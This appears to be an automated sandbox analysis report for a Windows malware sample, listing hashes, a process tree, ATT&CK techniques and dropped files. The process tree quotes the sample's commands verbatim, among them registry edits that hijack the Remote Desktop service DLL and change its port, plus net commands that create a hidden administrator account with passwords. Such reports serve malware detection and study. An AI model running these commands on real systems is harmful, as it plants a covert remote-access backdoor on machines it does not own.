Analysis

  • max time kernel
    40s
  • max time network
    111s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 21:57

General

  • Target

    5a79eba3f9e0e2ab3982c4512195f3f9e4b7b7f56b8993cfff69dfb47567bbe5.exe

  • Size

    3.1MB

  • MD5

    51c65f4486f9c76e90e3cde6a29f552d

  • SHA1

    cef1e7f6317a2f49836b9012c6396a7765516b6d

  • SHA256

    5a79eba3f9e0e2ab3982c4512195f3f9e4b7b7f56b8993cfff69dfb47567bbe5

  • SHA512

    49b3336b62a41facafa6aa37bffa1f467bab8ff5effc4eede9966baa7fcfba613a2b51f979d9fce324324fa76f8d664fde83cf609996e9436f9b4c0d0a28a824

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5a79eba3f9e0e2ab3982c4512195f3f9e4b7b7f56b8993cfff69dfb47567bbe5.exe
    "C:\Users\Admin\AppData\Local\Temp\5a79eba3f9e0e2ab3982c4512195f3f9e4b7b7f56b8993cfff69dfb47567bbe5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:788
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4jmr4dcp\4jmr4dcp.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:964
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D1A.tmp" "c:\Users\Admin\AppData\Local\Temp\4jmr4dcp\CSC905120C247747DEA9963A2237925014.TMP"
          4⤵
            PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4476
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2356
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2428
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2836
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2604
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3856
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4668
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2600
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4660
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4216
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:196
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:212
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4360
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:4504
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4456
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4352
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2760
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1432
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1044
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc DufU7S2t /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4724
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc DufU7S2t /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4532
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc DufU7S2t /add
                          3⤵
                            PID:5064
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4008
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3000
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:4128
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:740
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1736
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                              3⤵
                                PID:4056
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2528
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3220
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:1916
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc DufU7S2t
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3364
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc DufU7S2t
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:516
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc DufU7S2t
                                  3⤵
                                    PID:500
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C net user wgautilacc 1234
                                1⤵
                                  PID:4804
                                  • C:\Windows\system32\net.exe
                                    net user wgautilacc 1234
                                    2⤵
                                      PID:1180
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 1234
                                        3⤵
                                          PID:1328

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v6

                                    Persistence

                                    Account Manipulation

                                    1
                                    T1098

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1060

                                    Modify Existing Service

                                    1
                                    T1031

                                    Defense Evasion

                                    Modify Registry

                                    3
                                    T1112

                                    Lateral Movement

                                    Remote Desktop Protocol

                                    1
                                    T1076

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Temp\4jmr4dcp\4jmr4dcp.dll
                                      MD5

                                      8bf6ce10fdcd686c31752f455daae42b

                                      SHA1

                                      ee939cd35808e0faa0b7d91ffc797be9c95d105e

                                      SHA256

                                      e4857585601f7b44d103fb2c7bd9b2369650c34ccff59d3a34c3f15dc2b44ef8

                                      SHA512

                                      edfe72cc1b9b97b2bba16bc165bf509dc43aa98f24d7db786f677bf76c2853eaf6edf4fed3d8f55c29b9e4bddd053236a26587a1ba9ae6cb2ec1e64ff4225b5d

                                    • C:\Users\Admin\AppData\Local\Temp\RES5D1A.tmp
                                      MD5

                                      c9db7dc298ab23f21a51dfc825cbc558

                                      SHA1

                                      935698e89c2f1a5f9e1f8cac7b547c62f0590a6e

                                      SHA256

                                      88c0347eeeedcc292009428eaf62146e93cc23a08ab6ee0fd5fc7ea71c2ef94a

                                      SHA512

                                      0f50d4a9724efb3d97cf286e31fda85284bd405891c40bdc030654b9ac67feb21bcb2207a14e97181fab4c8f92dfbcb701500afa4a5331e1c769d60a0d65479e

                                    • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                      MD5

                                      41d1a9d1cbee90f1e5f27fdfb299f8b8

                                      SHA1

                                      1e9ac27006a7c364649265246fccbd719418ceab

                                      SHA256

                                      0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                      SHA512

                                      f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                    • \??\c:\Users\Admin\AppData\Local\Temp\4jmr4dcp\4jmr4dcp.0.cs
                                      MD5

                                      8e55cb0ca998472ab6d3e295e0c4dd50

                                      SHA1

                                      407d07a29b89fc3afc246c0680d5857e3f51019d

                                      SHA256

                                      63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                      SHA512

                                      c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                    • \??\c:\Users\Admin\AppData\Local\Temp\4jmr4dcp\4jmr4dcp.cmdline
                                      MD5

                                      b4f4dcc545f39c308037a5c05758c6d0

                                      SHA1

                                      e3d141afd9f0f061e699e7a12bbda46cc9233620

                                      SHA256

                                      566716c84e1632309a299649cdbb97eb685cd5ef179ce5f0a85315fbe3bdb1e7

                                      SHA512

                                      99db94762d69ac52f5e28cd16062eaf153bb07ea7710a60e7742ed91ed88081f6b98a11130465519eceda6c6e0bf82186661d0047679034ee8a03559fc5e6776

                                    • \??\c:\Users\Admin\AppData\Local\Temp\4jmr4dcp\CSC905120C247747DEA9963A2237925014.TMP
                                      MD5

                                      67eb21e3a7e0b2d9525c4d8031360b8b

                                      SHA1

                                      7ec0dc857178e2f3c328ca62637b32cf67b70b23

                                      SHA256

                                      614517bde0c2d9ca131c65356ea71af8d89cb097d4fffc7c8c30ac25a88cf4a2

                                      SHA512

                                      c8f5f76cce18bf812f8a746f331d98143ceb6e2521aa589323df27093b7d4c09355b6986692af18bdf3fd9926026bc9764b1aace04aa54cecd1bb7db62cd49b9

                                    • \Windows\Branding\mediasrv.png
                                      MD5

                                      37fb7ba711ffbe9d6ebb27d54e827966

                                      SHA1

                                      4d4d9303e011bcb14720b24239a1aacd58122f47

                                      SHA256

                                      81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                      SHA512

                                      3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                    • \Windows\Branding\mediasvc.png
                                      MD5

                                      2f916498a393e2f0d008d33a74c062ba

                                      SHA1

                                      404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                      SHA256

                                      d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                      SHA512

                                      d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                    • memory/196-41-0x0000000000000000-mapping.dmp
                                    • memory/212-42-0x0000000000000000-mapping.dmp
                                    • memory/500-58-0x0000000000000000-mapping.dmp
                                    • memory/516-57-0x0000000000000000-mapping.dmp
                                    • memory/788-2-0x0000000000000000-mapping.dmp
                                    • memory/788-5-0x0000027DFB800000-0x0000027DFB801000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/788-3-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/788-16-0x0000027DFBEE0000-0x0000027DFBEE1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/788-19-0x0000027DFC270000-0x0000027DFC271000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/788-15-0x0000027DF8D50000-0x0000027DF8D51000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/788-4-0x0000027DF8CF0000-0x0000027DF8CF1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/788-6-0x0000027DFBC10000-0x0000027DFBC11000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/964-8-0x0000000000000000-mapping.dmp
                                    • memory/1044-48-0x0000000000000000-mapping.dmp
                                    • memory/1180-61-0x0000000000000000-mapping.dmp
                                    • memory/1328-62-0x0000000000000000-mapping.dmp
                                    • memory/1432-47-0x0000000000000000-mapping.dmp
                                    • memory/1736-53-0x0000000000000000-mapping.dmp
                                    • memory/1868-23-0x0000000000000000-mapping.dmp
                                    • memory/1868-25-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/1916-56-0x0000000000000000-mapping.dmp
                                    • memory/2356-32-0x0000000000000000-mapping.dmp
                                    • memory/2428-33-0x0000000000000000-mapping.dmp
                                    • memory/2600-38-0x0000000000000000-mapping.dmp
                                    • memory/2604-35-0x0000000000000000-mapping.dmp
                                    • memory/2836-34-0x0000000000000000-mapping.dmp
                                    • memory/3000-51-0x0000000000000000-mapping.dmp
                                    • memory/3220-55-0x0000000000000000-mapping.dmp
                                    • memory/3256-11-0x0000000000000000-mapping.dmp
                                    • memory/3856-36-0x0000000000000000-mapping.dmp
                                    • memory/4056-54-0x0000000000000000-mapping.dmp
                                    • memory/4128-52-0x0000000000000000-mapping.dmp
                                    • memory/4216-40-0x0000000000000000-mapping.dmp
                                    • memory/4336-20-0x0000000000000000-mapping.dmp
                                    • memory/4336-21-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/4352-60-0x0000000000000000-mapping.dmp
                                    • memory/4360-43-0x0000000000000000-mapping.dmp
                                    • memory/4456-59-0x0000000000000000-mapping.dmp
                                    • memory/4476-29-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/4476-27-0x0000000000000000-mapping.dmp
                                    • memory/4504-44-0x0000000000000000-mapping.dmp
                                    • memory/4532-49-0x0000000000000000-mapping.dmp
                                    • memory/4660-39-0x0000000000000000-mapping.dmp
                                    • memory/4668-37-0x0000000000000000-mapping.dmp
                                    • memory/4696-1-0x0000000000CE0000-0x0000000000CE1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/5064-50-0x0000000000000000-mapping.dmp